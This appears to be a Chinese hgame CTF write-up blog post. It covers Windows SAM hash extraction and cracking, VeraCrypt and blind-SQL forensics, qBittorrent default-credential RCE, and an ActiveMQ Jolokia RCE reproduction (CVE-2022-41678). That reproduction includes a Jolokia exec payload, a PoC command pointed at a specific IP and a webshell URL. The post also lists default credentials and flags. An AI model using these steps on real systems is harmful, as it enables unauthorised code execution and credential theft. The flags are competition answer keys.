题目要求获取Windows密码及其nt-hash
思路如下:
1.获取目录C:Windows\System32\config下的SAM和SYSTEM文件
2.使用SAMInside获取用户的NT-HASH
3.在线网站破解
第二步通过saminside加载之后如下图
得到 admin的ntash的password为DAC3A2930FC196001F3AEAB959748448
去在线网站破解https://cmd5.org/
所以flag为
hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}
flag
hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}
Misc-简单的取证,不过前十个有红包
考点
- 磁盘取证
- 二进制文件挂载(veracrypt工具的使用)
题目描述
上一个题的磁盘里有图片
分析
下载附件得到一个vera.hc,这个hc文件是啥呢?
"hc" 文件通常是一种二进制文件格式的缩写
通过veracrypt工具挂载hc文件需要密码,而这个题的题目描述 不难想到密码要从上一个题的磁盘里面去找
然后找到一张jpg得到密码968fJD17UBzZG6e3yjF6
拿去veracrypt挂载
打开flag.txt即flag
flag
hgame{happy_new_year_her3_1s_a_redbag_key_41342177}
Misc-Blind Sql Injection
考点
- sql盲注的流量分析
题目描述
分析
工具一把梭
flag
flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}
WEEK4
Whose Home?
考点
qBittorrent Web UI 默认凭据导致 RCE (CVE-2023-30801)
分析
没有环境云复现
默认密码登录
username: admin
password: adminadmin
然后进去在设置里面有一个地方可以进行命令执行
反弹shell
(下图copied from chenxi)
找一个torrent
文件,单击上传,上传成功后即可反弹shell
然后find命令查看有suid权限的程序读取flag
reference
web-Reverse and Escalation I & II
这个题和Reverse and Escalation II都是同一个cve
没环境,但这是个cve复现题,因此复现一下cve
这道题是一个CVE-2022-41678
ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现
0x00 前置知识
- ActiveMQ是什么?
ActiveMQ是一个消息队列应用服务器(推送服务器)。支持JMS规范。
- JMS概述
JMS 全称:Java Message Service ,即为 Java 消息服务,是一套 java 消息服务的 API 接口。实现了 JMS 标准的系统,称之为 JMS Provider
- 消息队列是什么?
消息队列是在消息的传输过程中保存消息的容器,提供一种不同进程或者同一进程不同线程直接通讯的方式
- Producer:消息生产者,负责产生和发送消息到 Broker;
- Broker:消息处理中心。负责消息存储、确认、重试等,一般其中会包含多个 queue;
- Consumer:消息消费者,负责从 Broker 中获取消息,并进行相应处理;
常见消息队列应用:ActiveMQ,RabbitMQ,RocketMQ
0x01 漏洞描述
ctiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中,经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean,成功利用此漏洞可导致远程代码执行
0x02 影响版本
Apache ActiveMQ < 5.16.6
5.17.0< Apache ActiveMQ < 5.17.4
0x03 环境搭建
vulhub上去下载这个cve的环境
docker compose up -d
服务启动后,访问http://your-ip:8161/
后输入账号密码admin
和admin
,即可成功登录后台。
0x04 漏洞复现
使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean
这是由Log4j2提供的一个MBean
思路:hacker通过使用这个mbean中的setConfigText
操作更改Log4j的配置
进而将日志文件写入任意目录中
第一步先访问/api/jolokia/list
,而且加入origin值,Authorization值为admin:admin的base64加密值
可以看到org.apache.logging.log4j2的type=6ddf90b0
然后第二步传json
{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}
xml文件为POC中的evil_template内容,此处出现"status":200,就可以证明漏洞存在
但是复现的时候始终是400
直接进入下一步:
第三步在/api/jolokia/version
进行注入
其实直接用脚本攻击即可
python poc.py -u admin -p admin http://114.132.250.144:8161
然后访问/admin/shell.jsp?id=cmd进行rce
Comments | NOTHING